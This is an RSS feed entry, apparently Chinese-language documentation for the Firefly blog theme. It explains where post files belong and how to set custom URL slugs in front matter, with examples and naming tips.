&lt;section&gt;&lt;h2&gt;文章文件的放置位置&lt;a href=&quot;#文章文件的放置位置&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;您的文章文件应放置在 &lt;code&gt;src/content/posts/&lt;/code&gt; 目录中。您也可以创建子目录来更好地组织您的文章和资源。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;src/content/posts/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── post-1.md&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└── post-2/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── cover.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── index.md&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;自定义文章 URL (Slug)&lt;a href=&quot;#自定义文章-url-slug&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;什么是 Slug？&lt;a href=&quot;#什么是-slug&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Slug 是文章 URL 路径的自定义部分。如果不设置 slug，系统将使用文件名作为 URL。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Slug 使用示例&lt;a href=&quot;#slug-使用示例&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;示例 1：使用文件名作为 URL&lt;a href=&quot;#示例-1使用文件名作为-url&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;我的第一篇博客文章&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;published&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2023-09-09&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;文件：&lt;code&gt;src/content/posts/my-first-blog-post.md&lt;/code&gt;&lt;/p&gt;&lt;p&gt;URL：&lt;code&gt;/posts/my-first-blog-post&lt;/code&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;示例 2：自定义 Slug&lt;a href=&quot;#示例-2自定义-slug&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;我的第一篇博客文章&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;published&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2023-09-09&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;slug&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;hello-world&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;文件：&lt;code&gt;src/content/posts/my-first-blog-post.md&lt;/code&gt;&lt;/p&gt;&lt;p&gt;URL：&lt;code&gt;/posts/hello-world&lt;/code&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;示例 3：其他语言文件名使用Slug&lt;a href=&quot;#示例-3其他语言文件名使用slug&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;如何使用 Firefly 博客主题&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;published&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2023-09-09&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;slug&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;how-to-use-firefly-blog-theme&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;文件：&lt;code&gt;src/content/posts/如何使用Firefly博客主题.md&lt;/code&gt;&lt;/p&gt;&lt;p&gt;URL：&lt;code&gt;/posts/how-to-use-firefly-blog-theme&lt;/code&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Slug 使用建议&lt;a href=&quot;#slug-使用建议&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;使用英文和连字符&lt;/strong&gt;：&lt;code&gt;my-awesome-post&lt;/code&gt; 而不是 &lt;code&gt;my awesome post&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保持简洁&lt;/strong&gt;：避免过长的 slug&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;具有描述性&lt;/strong&gt;：让 URL 能够反映文章内容&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免特殊字符&lt;/strong&gt;：只使用字母、数字和连字符&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保持一致性&lt;/strong&gt;：在整个博客中使用相似的命名模式&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;注意事项&lt;a href=&quot;#注意事项&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;Slug 一旦设置并发布，建议不要随意更改，以免影响 SEO 和已存在的链接&lt;/li&gt;
&lt;li&gt;如果多个文章使用相同的 slug，后面的文章会覆盖前面的&lt;/li&gt;
&lt;li&gt;Slug 会自动转换为小写&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item></channel></rss>